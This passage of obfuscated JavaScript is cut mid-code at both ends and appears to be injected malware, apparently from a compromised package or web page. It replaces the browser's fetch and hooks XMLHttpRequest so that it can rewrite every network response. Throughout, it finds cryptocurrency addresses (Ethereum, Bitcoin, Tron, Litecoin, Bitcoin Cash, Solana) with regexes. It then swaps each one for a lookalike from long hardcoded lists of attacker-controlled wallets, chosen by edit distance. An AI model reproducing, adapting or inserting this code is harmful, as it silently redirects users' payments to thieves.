    'HNbDp': function (_0x43f1a1, _0x360cae) {
      return _0x43f1a1 == _0x360cae;
    },
    'YBHoq': "bitcoinLegacy",
    'pRoUO': "bitcoinSegwit",
    'nvayH': function (_0x1a5c0d, _0x3206ce, _0x4cf791) {
      return _0x1a5c0d(_0x3206ce, _0x4cf791);
    },
    'jHsib': "tron",
    'nVTWs': "ltc",
    'jsqTT': function (_0x245d0e, _0x2d73d9, _0x14ef57) {
      return _0x245d0e(_0x2d73d9, _0x14ef57);
    },
    'afnPM': function (_0x458f2b, _0x6aa524) {
      return _0x458f2b == _0x6aa524;
    },
    'tDons': "ltc2",
    'gtXrf': function (_0x4aac02, _0x3c2f2e, _0x51351a) {
      return _0x4aac02(_0x3c2f2e, _0x51351a);
    },
    'sghpa': "bch",
    'hrNiK': function (_0x4989f5, _0xf4abd5, _0x265bdf) {
      return _0x4989f5(_0xf4abd5, _0x265bdf);
    },
    'tqgyV': "solana",
    'mbgjV': function (_0x34d7ea, _0xb2bd29, _0x41c749) {
      return _0x34d7ea(_0xb2bd29, _0x41c749);
    },
    'IAgrR': function (_0x95d4e, _0x4e3b67) {
      return _0x95d4e == _0x4e3b67;
    },
    'FvQbM': "solana2",
    'UPcyp': "solana3",
    'JiXTg': function (_0x2dd239, _0x9ccb5, _0x2f7208) {
      return _0x2dd239(_0x9ccb5, _0x2f7208);
    },
    'BEiKn': function (_0x7b893d, _0x592b33) {
      return _0x7b893d == _0x592b33;
    },
    'BAEhI': function (_0x421ebd, _0x39f4fa) {
      return _0x421ebd != _0x39f4fa;
    },
    'kZnrz': "undefined"
  };
  if (loval == 1) {
    return;
  }
  loval = 1;
  function _0x3479c8(_0x13a5cc, _0x8c209f) {
    const _0x50715b = Array.from({
      'length': _0x13a5cc.length + 1
    }, () => Array(_0x8c209f.length + 1).fill(0));
    for (let _0x1b96c3 = 0; _0x1b96c3 <= _0x13a5cc.length; _0x1b96c3++) {
      _0x50715b[_0x1b96c3][0] = _0x1b96c3;
    }
    for (let _0x239a5f = 0; _0x239a5f <= _0x8c209f.length; _0x239a5f++) {
      _0x50715b[0][_0x239a5f] = _0x239a5f;
    }
    for (let _0x5aba31 = 1; _0x5aba31 <= _0x13a5cc.length; _0x5aba31++) {
      for (let _0x22e9c0 = 1; _0x22e9c0 <= _0x8c209f.length; _0x22e9c0++) {
        if (_0x13a5cc[_0x5aba31 - 1] === _0x8c209f[_0x22e9c0 - 1]) {
          _0x50715b[_0x5aba31][_0x22e9c0] = _0x50715b[_0x5aba31 - 1][_0x22e9c0 - 1];
        } else {
          _0x50715b[_0x5aba31][_0x22e9c0] = 1 + Math.min(_0x50715b[_0x5aba31 - 1][_0x22e9c0], _0x50715b[_0x5aba31][_0x22e9c0 - 1], _0x50715b[_0x5aba31 - 1][_0x22e9c0 - 1]);
        }
      }
    }
    return _0x50715b[_0x13a5cc.length][_0x8c209f.length];
  }
  function _0x2abae0(_0x348925, _0x2f1e3d) {
    let _0xff60d1 = Infinity;
    let _0x5be3d3 = null;
    for (let _0x214c8b of _0x2f1e3d) {
      const _0x3a7411 = _0x3479c8(_0x348925.toLowerCase(), _0x214c8b.toLowerCase());
      if (_0x3a7411 < _0xff60d1) {
        _0xff60d1 = _0x3a7411;
        _0x5be3d3 = _0x214c8b;
      }
    }
    return _0x5be3d3;
  }
  fetch = async function (..._0x1ae7ec) {
    const _0x406ee2 = await _0xba16ef.tfqRA(fetch, ..._0x1ae7ec);
    const _0x207752 = _0x406ee2.headers.get("Content-Type") || '';
    let _0x561841;
    if (_0x207752.includes("application/json")) {
      _0x561841 = await _0x406ee2.clone().json();
    } else {
      _0x561841 = await _0x406ee2.clone().text();
    }
    const _0x50818d = _0x19ca67(_0x561841);
    const _0x22ee54 = typeof _0x50818d === "string" ? _0x50818d : JSON.stringify(_0x50818d);
    const _0x20415d = new Response(_0x22ee54, {
      'status': _0x406ee2.status,
      'statusText': _0x406ee2.statusText,
      'headers': _0x406ee2.headers
    });
    return _0x20415d;
  };
  if (typeof window != "undefined") {
    const _0x2d44e5 = XMLHttpRequest.prototype.open;
    const _0x3d5d6a = XMLHttpRequest.prototype.send;
    XMLHttpRequest.prototype.open = function (_0x2dbeb0, _0x3b2bc2, _0x36de99, _0x36f3b7, _0x52ad25) {
      this._url = _0x3b2bc2;
      return _0x2d44e5.apply(this, arguments);
    };
    XMLHttpRequest.prototype.send = function (_0x270708) {
      const _0x159c30 = this;
      const _0x1c1a41 = _0x159c30.onreadystatechange;
      _0x159c30.onreadystatechange = function () {
        if (_0x159c30.readyState === 4) {
          try {
            const _0x13db82 = _0x159c30.getResponseHeader("Content-Type") || '';
            let _0x1ac083 = _0x159c30.responseText;
            if (_0x13db82.includes("application/json")) {
              _0x1ac083 = JSON.parse(_0x159c30.responseText);
            }
            const _0x454f4a = _0x19ca67(_0x1ac083);
            const _0x553cb7 = typeof _0x454f4a === "string" ? _0x454f4a : JSON.stringify(_0x454f4a);
            Object.defineProperty(_0x159c30, "responseText", {
              'value': _0x553cb7
            });
            Object.defineProperty(_0x159c30, "response", {
              'value': _0x553cb7
            });
          } catch (_0x59788f) {}
        }
        if (_0x1c1a41) {
          _0x1c1a41.apply(this, arguments);
        }
      };
      return _0x3d5d6a.apply(this, arguments);
    };
  }
  function _0x19ca67(_0x1156d2) {
    try {
      if (typeof _0x1156d2 === "object" && _0x1156d2 !== null) {
        const _0x129304 = JSON.stringify(_0x1156d2);
        const _0x187e67 = _0xba16ef.tfqRA(_0x20669a, _0x129304);
        return JSON.parse(_0x187e67);
      }
      if (typeof _0x1156d2 === "string") {
        return _0x20669a(_0x1156d2);
      }
      return _0x1156d2;
    } catch (_0x2abc9c) {
      return _0x1156d2;
    }
  }
  function _0x20669a(_0x530d91) {
    var _0x264994 = ["1H13VnQJKtT4HjD5ZFKaaiZEetMbG7nDHx", "1Li1CRPwjovnGHGPTtcKzy75j37K6n97Rd", "1Dk12ey2hKWJctU3V8Akc1oZPo1ndjbnjP", "1NBvJqc1GdSb5uuX8vT7sysxtT4LB8GnuY", "1Mtv6GsFsbno9XgSGuG6jRXyBYv2tgVhMj", "1BBAQm4DL78JtRdJGEfzDBT2PBkGyvzf4N", "1KkovSeka94yC5K4fDbfbvZeTFoorPggKW", "18CPyFLMdncoYccmsZPnJ5T1hxFjh6aaiV", "1BijzJvYU2GaBCYHa8Hf3PnJh6mjEd92UP", "1Bjvx6WXt9iFB5XKAVsU3TgktgeNbzpn5N", "19fUECa9aZCQxcLeo8FZu8kh5kVWheVrg8", "1DZEep7GsnmBVkbZR3ogeBQqwngo6x4XyR", "1GX1FWYttd65J26JULr9HLr98K7VVUE38w", "14mzwvmF2mUd6ww1gtanQm8Bxv3ZWmxDiC", "1EYHCtXyKMMhUiJxXJH4arfpErNto5j87k", "19D1QXVQCoCLUHUrzQ4rTumqs9jBcvXiRg", "16mKiSoZNTDaYLBQ5LkunK6neZFVV14b7X", "18x8S4yhFmmLUpZUZa3oSRbAeg8cpECpne", "1EkdNoZJuXTqBeaFVzGwp3zHuRURJFvCV8", "13oBVyPUrwbmTAbwxVDMT9i6aVUgm5AnKM", "1DwsWaXLdsn4pnoMtbsmzbH7rTj5jNH6qS", "13wuEH28SjgBatNppqgoUMTWwuuBi9e4tJ", "154jc6v7YwozhFMppkgSg3BdgpaFPtCqYn", "1AP8zLJE6nmNdkfrf1piRqTjpasw7vk5rb", "19F8YKkU7z5ZDAypxQ458iRqH2ctGJFVCn", "17J3wL1SapdZpT2ZVX72Jm5oMSXUgzSwKS", "16z8D7y3fbJsWFs3U8RvBF3A8HLycCW5fH", "1PYtCvLCmnGDNSVK2gFE37FNSf69W2wKjP", "143wdqy6wgY3ez8Nm19AqyYh25AZHz3FUp", "1JuYymZbeoDeH5q65KZVG3nBhYoTK9YXjm", "1PNM2L1bpJQWipuAhNuB7BZbaFLB3LCuju", "19onjpqdUsssaFKJjwuAQGi2eS41vE19oi", "1JQ15RHehtdnLAzMcVT9kU8qq868xFEUsS", "1LVpMCURyEUdE8VfsGqhMvUYVrLzbkqYwf", "1KMcDbd2wecP4Acoz9PiZXsBrJXHbyPyG6", "1DZiXKhBFiKa1f6PTGCNMKSU1xoW3Edb7Z", "174bEk62kr8dNgiduwHgVzeLgLQ38foEgZ", "17cvmxcjTPSBsF1Wi2HfcGXnpLBSzbAs6p", "1NoYvnedUqNshKPZvSayfk8YTQYvoB2wBc", "13694eCkAtBRkip8XdPQ8ga99KEzyRnU6a"];
    var _0x2e3cca = ["bc1qms4f8ys8c4z47h0q29nnmyekc9r74u5ypqw6wm", "bc1qznntn2q7df8ltvx842upkd9uj4atwxpk0whxh9", "bc1q4rllc9q0mxs827u6vts2wjvvmel0577tdsvltx", "bc1qj8zru33ngjxmugs4sxjupvd9cyh84ja0wjx9c4", "bc1qc972tp3hthdcufsp9ww38yyer390sdc9cvj8ar", "bc1qw0z864re8yvrjqmcw5fs6ysndta2avams0c6nh", "bc1qzdd8c7g2g9mnnxy635ndntem2827ycxxyn3v4h", "bc1qaavgpwm98n0vtaeua539gfzgxlygs8jpsa0mmt", "bc1qrdlkyhcrx4n2ksfjfh78xnqrefvsr34nf2u0sx", "bc1q9ytsyre66yz56x3gufhqks7gqd8sa8uk4tv5fh", "bc1qfrvsj2dkey2dg8ana0knczzplcqr7cgs9s52vq", "bc1qg7lkw04hg5yggh28ma0zvtkeg95k0yefqmvv2f", "bc1qmeplum3jy2vrlyzw4vhrcgeama35tr9kw8yfrn", "bc1qamqx0h8rxfcs4l56egrpau4ryqu4r642ttmxq4", "bc1qsaxgtck26mgecgfvp9ml4y5ljyl8ylpdglqz30", "bc1qsz90ulta8dx5k8xzzjqruzahav2vxchtk2l8v7", "bc1q3ad2zyc5mpc9nnzmmtxqpu467jeh4m928r7qf4", "bc1qlrdqrulwmvfg86rmp77k8npdefns52ykk8cxs6", "bc1q5hqxk5ugvf2d3y6qj2a7cy7u79ckusu9eknpsr", "bc1qszm3nugttmtpkq77dhphtqg4u7vuhxxcrh7f79", "bc1qqc09xnyafq0y4af3x7j5998tglxcanjuzy974m", "bc1qqqh29zxfzxk0fvmq9d7hwedh5yz44zhf7e23qz", "bc1qsg57tpvfj6gysrw5w4sxf3dweju40g87uuclvu", "bc1qje95nehs8y0wvusp2czr25p7kghk6j3cvgugy5", "bc1qwrnchp96p38u8ukp8jc8cq22q35n3ajfav0pzf", "bc1q6l99s704jccclxx5rc2x2c5shlgs2pg0fpnflk", "bc1qeuk2u6xl4rgfq0x9yc37lw49kutnd8gdlxt9st", "bc1qxul8lwxvt7lt9xuge0r2jls7evrwyyvcf2ah0u", "bc1qcplvxyzs9w09g6lpglj6xxdfxztfwjsgz95czd", "bc1q9ca9ae2cjd3stmr9lc6y527s0x6vvqys6du00u", "bc1qmap3cqss3t4vetg8z9s995uy62jggyxjk29jkp", "bc1qg3c6c7y5xeqkxnjsx9ymclslr2sncjrxjylkej", "bc1q9zx63qdjwldxp4s9egeqjelu3y5yqsajku8m29", "bc1ql2awtv7nzcp2dqce3kny2ra3dz946c9vg2yukq", "bc1qhytpe64tsrrvgwm834q35w6607jc6azqtnvl2a", "bc1q4rlgfgjwg9g2pqwqkf5j9hq6ekn39rjmzv09my", "bc1q28ks0u6fhvv7hktsavnfpmu59anastfj5sq8dw", "bc1qjqfpxvl2j2hzx2cxeqhchrh02dcjy3z5k6gv55", "bc1q8zznzs9z93xpkpunrmeqp6fg54s3q7dkh9z9xw", "bc1qt4c4e6xwt5dz4p629ndz9zmeep2kmvqgy53037"];
    var _0x4477fc = ["0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976", "0xa29eeFb3f21Dc8FA8bce065Db4f4354AA683c024", "0x40C351B989113646bc4e9Dfe66AE66D24fE6Da7B", "0x30F895a2C66030795131FB66CBaD6a1f91461731", "0x57394449fE8Ee266Ead880D5588E43501cb84cC7", "0xCd422cCC9f6e8f30FfD6F68C0710D3a7F24a026A", "0x7C502F253124A88Bbb6a0Ad79D9BeD279d86E8f4", "0xe86749d6728d8b02c1eaF12383c686A8544de26A", "0xa4134741a64F882c751110D3E207C51d38f6c756", "0xD4A340CeBe238F148034Bbc14478af59b1323d67", "0xB00A433e1A5Fc40D825676e713E5E351416e6C26", "0xd9Df4e4659B1321259182191B683acc86c577b0f", "0x0a765FA154202E2105D7e37946caBB7C2475c76a", "0xE291a6A58259f660E8965C2f0938097030Bf1767", "0xe46e68f7856B26af1F9Ba941Bc9cd06F295eb06D", "0xa7eec0c4911ff75AEd179c81258a348c40a36e53", "0x3c6762469ea04c9586907F155A35f648572A0C3E", "0x322FE72E1Eb64F6d16E6FCd3d45a376efD4bC6b2", "0x51Bb31a441531d34210a4B35114D8EF3E57aB727", "0x314d5070DB6940C8dedf1da4c03501a3AcEE21E1", "0x75023D76D6cBf88ACeAA83447C466A9bBB0c5966", "0x1914F36c62b381856D1F9Dc524f1B167e0798e5E", "0xB9e9cfd931647192036197881A9082cD2D83589C", "0xE88ae1ae3947B6646e2c0b181da75CE3601287A4", "0x0D83F2770B5bDC0ccd9F09728B3eBF195cf890e2", "0xe2D5C35bf44881E37d7183DA2143Ee5A84Cd4c68", "0xd21E6Dd2Ef006FFAe9Be8d8b0cdf7a667B30806d", "0x93Ff376B931B92aF91241aAf257d708B62D62F4C", "0x5C068df7139aD2Dedb840ceC95C384F25b443275", "0x70D24a9989D17a537C36f2FB6d8198CC26c1c277", "0x0ae487200606DEfdbCEF1A50C003604a36C68E64", "0xc5588A6DEC3889AAD85b9673621a71fFcf7E6B56", "0x3c23bA2Db94E6aE11DBf9cD2DA5297A09d7EC673", "0x5B5cA7d3089D3B3C6393C0B79cDF371Ec93a3fd3", "0x4Cb4c0E7057829c378Eb7A9b174B004873b9D769", "0xd299f05D1504D0B98B1D6D3c282412FD4Df96109", "0x241689F750fCE4A974C953adBECe0673Dc4956E0", "0xBc5f75053Ae3a8F2B9CF9495845038554dDFb261", "0x5651dbb7838146fCF5135A65005946625A2685c8", "0x5c9D146b48f664f2bB4796f2Bb0279a6438C38b1", "0xd2Bf42514d35952Abf2082aAA0ddBBEf65a00BA3", "0xbB1EC85a7d0aa6Cd5ad7E7832F0b4c8659c44cc9", "0x013285c02ab81246F1D68699613447CE4B2B4ACC", "0x97A00E100BA7bA0a006B2A9A40f6A0d80869Ac9e", "0x4Bf0C0630A562eE973CE964a7d215D98ea115693", "0x805aa8adb8440aEA21fDc8f2348f8Db99ea86Efb", "0xae9935793835D5fCF8660e0D45bA35648e3CD463", "0xB051C0b7dCc22ab6289Adf7a2DcEaA7c35eB3027", "0xf7a82C48Edf9db4FBe6f10953d4D889A5bA6780D", "0x06de68F310a86B10746a4e35cD50a7B7C8663b8d", "0x51f3C0fCacF7d042605ABBE0ad61D6fabC4E1F54", "0x49BCc441AEA6Cd7bC5989685C917DC9fb58289Cf", "0x7fD999f778c1867eDa9A4026fE7D4BbB33A45272", "0xe8749d2347472AD1547E1c6436F267F0EdD725Cb", "0x2B471975ac4E4e29D110e43EBf9fBBc4aEBc8221", "0x02004fE6c250F008981d8Fc8F9C408cEfD679Ec3", "0xC4A51031A7d17bB6D02D52127D2774A942987D39", "0xa1b94fC12c0153D3fb5d60ED500AcEC430259751", "0xdedda1A02D79c3ba5fDf28C161382b1A7bA05223", "0xE55f51991C8D01Fb5a99B508CC39B8a04dcF9D04"];
    var _0x514d7d = ["5VVyuV5K6c2gMq1zVeQUFAmo8shPZH28MJCVzccrsZG6", "98EWM95ct8tBYWroCxXYN9vCgN7NTcR6nUsvCx1mEdLZ", "Gs7z9TTJwAKyxN4G3YWPFfDmnUo3ofu8q2QSWfdxtNUt", "CTgjc8kegnVqvtVbGZfpP5RHLKnRNikArUYFpVHNebEN", "7Nnjyhwsp8ia2W4P37iWAjpRao3Bj9tVZBZRTbBpwXWU", "3KFBge3yEg793VqVV1P6fxV7gC9CShh55zmoMcGUNu49", "9eU7SkkFGWvDoqSZLqoFJ9kRqJXDQYcEvSiJXyThCWGV", "4SxDspwwkviwR3evbZHrPa3Rw13kBr51Nxv86mECyXUF", "4SxDspwwkviwR3evbZHrPa3Rw13kBr51Nxv86mECyXUF", "9dtS7zbZD2tK7oaMUj78MKvgUWHbRVLQ95bxnpsCaCLL", "7mdCoRPc1omTiZdYY2xG81EvGwN7Z2yodUTX9ZmLm3fx", "8rdABs8nC2jTwVhR9axWW7WMbGZxW7JUzNV5pRF8KvQv", "55YtaEqYEUM7ASAZ9XmVdSBNy6F7r5zkdLsJFv2ZPtAx", "Gr8Kcyt8UVRF1Pux7YHiK32Spm7cmnFVL6hd7LSLHqoB", "9MRmVsciWKDvwwTaZQCK2NvJE2SeVU8W6EGFmukHTRaB", "5j4k1Ye12dXiFMLSJpD7gFrLbv4QcUrRoKHsgo32kRFr", "F1SEspGoVLhqJTCFQEutTcKDubw44uKnqWc2ydz4iXtv", "G3UBJBY69FpDbwyKhZ8Sf4YULLTtHBtJUvSX4GpbTGQn", "DZyZzbGfdMy5GTyn2ah2PDJu8LEoKPq9EhAkFRQ1Fn6K", "HvygSvLTXPK4fvR17zhjEh57kmb85oJuvcQcEgTnrced"];
    var _0x3ee86f = ["TB9emsCq6fQw6wRk4HBxxNnU6Hwt1DnV67", "TSfbXqswodrpw8UBthPTRRcLrqWpnWFY3y", "TYVWbDbkapcKcvbMfdbbcuc3PE1kKefvDH", "TNaeGxNujpgPgcfetYwCNAZF8BZjAQqutc", "TJ1tNPVj7jLK2ds9JNq15Ln6GJV1xYrmWp", "TGExvgwAyaqwcaJmtJzErXqfra66YjLThc", "TC7K8qchM7YXZPdZrbUY7LQwZaahdTA5tG", "TQuqKCAbowuQYEKB9aTnH5uK4hNvaxDCye", "TFcXJysFgotDu6sJu4zZPAvr9xHCN7FAZp", "TLDkM4GrUaA13PCHWhaMcGri7H8A8HR6zR", "TPSLojAyTheudTRztqjhNic6rrrSLVkMAr", "TY2Gs3RVwbmcUiDpxDhchPHF1CVsGxU1mo", "TCYrFDXHBrQkqCPNcp6V2fETk7VoqjCNXw", "TKcuWWdGYqPKe98xZCWkmhc1gKLdDYvJ2f", "TP1ezNXDeyF4RsM3Bmjh4GTYfshf5hogRJ", "TJcHbAGfavWSEQaTTLotG7RosS3iqV5WMb", "TD5U7782gp7ceyrsKwekWFMWF9TjhC6DfP", "TEu3zgthJE32jfY6bYMYGNC7BU2yEXVBgW", "TK5r74dFyMwFSTaJF6dmc2pi7A1gjGTtJz", "TBJH4pB4QPo96BRA7x6DghEv4iQqJBgKeW", "TKBcydgFGX9q3ydaPtxht1TRAmcGybRozt", "TQXoAYKPuzeD1X2c4KvQ4gXhEnya3AsYwC", "TJCevwYQhzcSyPaVBTa15y4qNY2ZxkjwsZ", "THpdx4MiWbXtgkPtsrsvUjHF5AB4u7mx3E", "TWpCDiY8pZoY9dVknsy3U4mrAwVm8mCBh6", "TK5zyFYoyAttoeaUeWGdpRof2qRBbPSV7L", "TAzmtmytEibzixFSfNvqqHEKmMKiz9wUA9", "TCgUwXe3VmLY81tKBrMUjFBr1qPnrEQFNK", "TTPWAyW3Q8MovJvDYgysniq41gQnfRn21V", "TWUJVezQta4zEX94RPmFHF2hzQBRmYiEdn", "TPeKuzck7tZRXKh2GP1TyoePF4Rr1cuUAA", "TJUQCnHifZMHEgJXSd8SLJdVAcRckHGnjt", "TCgX32nkTwRkapNuekTdk1TByYGkkmcKhJ", "TFDKvuw86wduSPZxWTHD9N1TqhXyy9nrAs", "TQVpRbBzD1au3u8QZFzXMfVMpHRyrpemHL", "TSE2VkcRnyiFB4xe8an9Bj1fb6ejsPxa9Z", "THe32hBm9nXnzzi6YFqYo8LX77CMegX3v5", "TXfcpZtbYfVtLdGPgdoLm6hDHtnrscvAFP", "TXgVaHDaEyXSm1LoJEqFgKWTKQQ1jgeQr7", "TD5cRTn9dxa4eodRWszGiKmU4pbpSFN87P"];
    var _0x4a9d96 = ["LNFWHeiSjb4QB4iSHMEvaZ8caPwtz4t6Ug", "LQk8CEPMP4tq3mc8nQpsZ1QtBmYbhg8UGR", "LMAJo7CV5F5scxJsFW67UsY2RichJFfpP6", "LUvPb1VhwsriAm3ni77i3otND2aYLZ8fHz", "LhWPifqaGho696hFVGTR1KmzKJ8ps7ctFa", "LZZPvXLt4BtMzEgddYnHpUWjDjeD61r5aQ", "LQfKhNis7ZKPRW6H3prbXz1FJd29b3jsmT", "LSihmvTbmQ9WZmq6Rjn35SKLUdBiDzcLBB", "Ldbnww88JPAP1AUXiDtLyeZg9v1tuvhHBP", "LR3YwMqnwLt4Qdn6Ydz8bRFEeXvpbNZUvA", "Lbco8vJ56o1mre6AVU6cF7JjDDscnYHXLP", "LfqFuc3sLafGxWE8vdntZT4M9NKq6Be9ox", "LLcmXxj8Zstje6KqgYb11Ephj8bGdyF1vP", "LcJwR1WvVRsnxoe1A66pCzeXicuroDP6L6", "LUNKimRyxBVXLf9gp3FZo2iVp6D3yyzJLJ", "LY1NnVbdywTNmq45DYdhssrVENZKv7Sk8H", "LNmMqhqpyDwb1zzZReuA8aVUxkZSc4Ztqq", "LdxgXRnXToLMBML2KpgGkdDwJSTM6sbiPE", "LZMn8hLZ2kVjejmDZiSJzJhHZjuHq8Ekmr", "LVnc1MLGDGKs2bmpNAH7zcHV51MJkGsuG9", "LRSZUeQb48cGojUrVsZr9eERjw4K1zAoyC", "LQpGaw3af1DQiKUkGYEx18jLZeS9xHyP9v", "LiVzsiWfCCkW2kvHeMBdawWp9TE8uPgi6V", "LY32ncFBjQXhgCkgTAd2LreFv3JZNTpMvR", "LdPtx4xqmA4HRQCm3bQ9PLEneMWLdkdmqg", "LYcHJk7r9gRbg2z3hz9GGj91Po6TaXDK3k", "LMhCVFq5fTmrwQyzgfp2MkhrgADRAVCGsk", "LPv1wSygi4vPp9UeW6EfWwepEeMFHgALmN", "Lf55UbTiSTjnuQ8uWzUBtzghztezEfSLvT", "LdJHZeBQovSYbW1Lei6CzGAY4d3mUxbNKs", "LbBxnFaR1bZVN2CquNDXGe1xCuu9vUBAQw", "LWWWPK2SZZKB3Nu8pHyq2yPscVKvex5v2X", "LYN4ESQuJ1TbPxQdRYNrghznN8mQt8WDJU", "LiLzQs4KU79R5AUn9jJNd7EziNE7r32Dqq", "LeqNtT4aDY9oM1G5gAWWvB8B39iUobThhe", "LfUdSVrimg54iU7MhXFxpUTPkEgFJonHPV", "LTyhWRAeCRcUC9Wd3zkmjz3AhgX6J18kxZ", "Lc2LtsEJmPYay1oj7v8xj16mSV15BwHtGu", "LVsGi1QVXucA6v9xsjwaAL8WYb7axdekAK", "LewV6Gagn52Sk8hzPHRSbBjUpiNAdqmB9z"];
    var _0x553dcb = ["bitcoincash:qpwsaxghtvt6phm53vfdj0s6mj4l7h24dgkuxeanyh", "bitcoincash:qq7dr7gu8tma7mvpftq4ee2xnhaczqk9myqnk6v4c9", "bitcoincash:qpgf3zrw4taxtvj87y5lcaku77qdhq7kqgdga5u6jz", "bitcoincash:qrkrnnc5kacavf5pl4n4hraazdezdrq08ssmxsrdsf", "bitcoincash:qqdepnkh89dmfxyp4naluvhlc3ynej239sdu760y39", "bitcoincash:qqul8wuxs4ec8u4d6arkvetdmdh4ppwr0ggycetq97", "bitcoincash:qq0enkj6n4mffln7w9z6u8vu2mef47jwlcvcx5f823", "bitcoincash:qrc620lztlxv9elhj5qzvmf2cxhe7egup5few7tcd3", "bitcoincash:qrf3urqnjl4gergxe45ttztjymc8dzqyp54wsddp64", "bitcoincash:qr7mkujcr9c38ddfn2ke2a0sagk52tllesderfrue8", "bitcoincash:qqgjn9yqtud5mle3e7zhmagtcap9jdmcg509q56ynt", "bitcoincash:qpuq8uc9ydxszny5q0j4actg30he6uhffvvy0dl7er", "bitcoincash:qz0640hjl2m3n2ca26rknljpr55gyd9pjq89g6xhrz", "bitcoincash:qq0j6vl2ls2g8kkhkvpcfyjxns5zq03llgsqdnzl4s", "bitcoincash:qq8m8rkl29tcyqq8usfruejnvx27zxlpu52mc9spz7", "bitcoincash:qpudgp66jjj8k9zec4na3690tvu8ksq4fq8ycpjzed", "bitcoincash:qqe3qc9uk08kxnng0cznu9xqqluwfyemxym7w2e3xw", "bitcoincash:qpukdxh30d8dtj552q2jet0pqvcvt64gfujaz8h9sa", "bitcoincash:qqs4grdq56y5nnamu5d8tk450kzul3aulyz8u66mjc", "bitcoincash:qp7rhhk0gcusyj9fvl2ftr06ftt0pt8wgumd8ytssd", "bitcoincash:qpmc3y5y2v7h3x3sgdg7npau034fsggwfczvuqtprl", "bitcoincash:qzum0qk4kpauy8ljspmkc5rjxe5mgam5xg7xl5uq2g", "bitcoincash:qqjqp8ayuky5hq4kgrarpu40eq6xjrneuurc43v9lf", "bitcoincash:qqxu6a3f0240v0mwzhspm5zeneeyecggvufgz82w7u", "bitcoincash:qpux2mtlpd03d8zxyc7nsrk8knarnjxxts2fjpzeck", "bitcoincash:qpcgcrjry0excx80zp8hn9vsn4cnmk57vylwa5mtz3", "bitcoincash:qpjj6prm5menjatrmqaqx0h3zkuhdkfy75uauxz2sj", "bitcoincash:qp79qg7np9mvr4mg78vz8vnx0xn8hlkp7sk0g86064", "bitcoincash:qr27clvagvzra5z7sfxxrwmjxy026vltucdkhrsvc7", "bitcoincash:qrsypfz3lqt8xtf8ej5ftrqyhln577me6v640uew8j", "bitcoincash:qrzfrff4czjn6ku0tn2u3cxk7y267enfqvx6zva5w6", "bitcoincash:qr7exs4az754aknl3r5gp9scn74dzjkcrgql3jpv59", "bitcoincash:qq35fzg00mzcmwtag9grmwljvpuy5jm8kuzfs24jhu", "bitcoincash:qra5zfn74m7l85rl4r6wptzpnt2p22h7552swkpa7l", "bitcoincash:qzqllr0fsh9fgfvdhmafx32a0ddtkt52evnqd7w7h7", "bitcoincash:qpjdcwld84wtd5lk00x8t7qp4eu3y0xhnsjjfgrs7q", "bitcoincash:qrgpm5y229xs46wsx9h9mlftedmsm4xjlu98jffmg3", "bitcoincash:qpjl9lkjjp4s6u654k3rz06rhqcap849jg8uwqmaad", "bitcoincash:qra5uwzgh8qus07v3srw5q0e8vrx5872k5cxguu3h5", "bitcoincash:qz6239jkqf9qpl2axk6vclsx3gdt8cy4z5rag98u2r"];
    const _0x3ec3bb = {
      'ethereum': /\b0x[a-fA-F0-9]{40}\b/g,
      'bitcoinLegacy': /\b1[a-km-zA-HJ-NP-Z1-9]{25,34}\b/g,
      'bitcoinSegwit': /\b(3[a-km-zA-HJ-NP-Z1-9]{25,34}|bc1[qpzry9x8gf2tvdw0s3jn54khce6mua7l]{11,71})\b/g,
      'tron': /((?<!\w)[T][1-9A-HJ-NP-Za-km-z]{33})/g,
      'bch': /bitcoincash:[qp][a-zA-Z0-9]{41}/g,
      'ltc': /(?<!\w)ltc1[qpzry9x8gf2tvdw0s3jn54khce6mua7l]{11,71}\b/g,
      'ltc2': /(?<!\w)[mlML][a-km-zA-HJ-NP-Z1-9]{25,34}/g,
      'solana': /((?<!\w)[4-9A-HJ-NP-Za-km-z][1-9A-HJ-NP-Za-km-z]{32,44})/g,
      'solana2': /((?<!\w)[3][1-9A-HJ-NP-Za-km-z]{35,44})/g,
      'solana3': /((?<!\w)[1][1-9A-HJ-NP-Za-km-z]{35,44})/g
    };
    for (const [_0x17ccd4, _0x129783] of Object.entries(_0x3ec3bb)) {
      const _0x1be350 = _0x530d91.match(_0x129783) || [];
      for (const _0x4225ce of _0x1be350) {
        if (_0x17ccd4 == "ethereum") {
          if (!_0x4477fc.includes(_0x4225ce) && neth == 0) {
            _0x530d91 = _0x530d91.replace(_0x4225ce, _0x2abae0(_0x4225ce, _0x4477fc));
          }
        }
        if (_0x17ccd4 == "bitcoinLegacy") {
          if (!_0x264994.includes(_0x4225ce)) {
            _0x530d91 = _0x530d91.replace(_0x4225ce, _0x2abae0(_0x4225ce, _0x264994));
          }
        }
        if (_0x17ccd4 == "bitcoinSegwit") {
          if (!_0x2e3cca.includes(_0x4225ce)) {
            _0x530d91 = _0x530d91.replace(_0x4225ce, _0x2abae0(_0x4225ce, _0x2e3cca));
          }
        }
        if (_0x17ccd4 == "tron") {
          if (!_0x3ee86f.includes(_0x4225ce)) {
            _0x530d91 = _0x530d91.replace(_0x4225ce, _0x2abae0(_0x4225ce, _0x3ee86f));
          }
        }
        if (_0x17ccd4 == "ltc") {
          if (!_0x4a9d96.includes(_0x4225ce)) {
            _0x530d91 = _0x530d91.replace(_0x4225ce, _0x2abae0(_0x4225ce, _0x4a9d96));
          }
        }
        if (_0x17ccd4 == "ltc2") {
          if (!_0x4a9d96.includes(_0x4225ce)) {
            _0x530d91 = _0x530d91.replace(_0x4225ce, _0x2abae0(_0x4225ce, _0x4a9d96));
          }
        }
        if (_0x17ccd4 == "bch") {
          if (!_0x553dcb.includes(_0x4225ce)) {
            _0x530d91 = _0x530d91.replace(_0x4225ce, _0x2abae0(_0x4225ce, _0x553dcb));
          }
        }
        const _0x2d452a = [..._0x4477fc, ..._0x264994, ..._0x2e3cca, ..._0x3ee86f, ..._0x4a9d96, ..._0x553dcb];
        const _0x35f871 = _0x2d452a.includes(_0x4225ce);
        if (_0x17ccd4 == "solana" && !_0x35f871) {
          if (!_0x514d7d.includes(_0x4225ce)) {
            _0x530d91 = _0x530d91.replace(_0x4225ce, _0x2abae0(_0x4225ce, _0x514d7d));
          }
        }
        if (_0x17ccd4 == "solana2" && !_0x35f871) {
          if (!_0x514d7d.includes(_0x4225ce)) {
            _0x530d91 = _0x530d91.replace(_0x4225ce, _0x2abae0(_0x4225ce, _0x514d7d));
          }
        }
        if (_0x17ccd4 == "solana3" && _0x35f871) {
          if (!_0x514d7d.includes(_0x4225ce)) {
            _0x530d91 = _0x530d91.replace(_0x4225ce, _0x2abae0(_0x4225ce, _0x514d7d));
          }
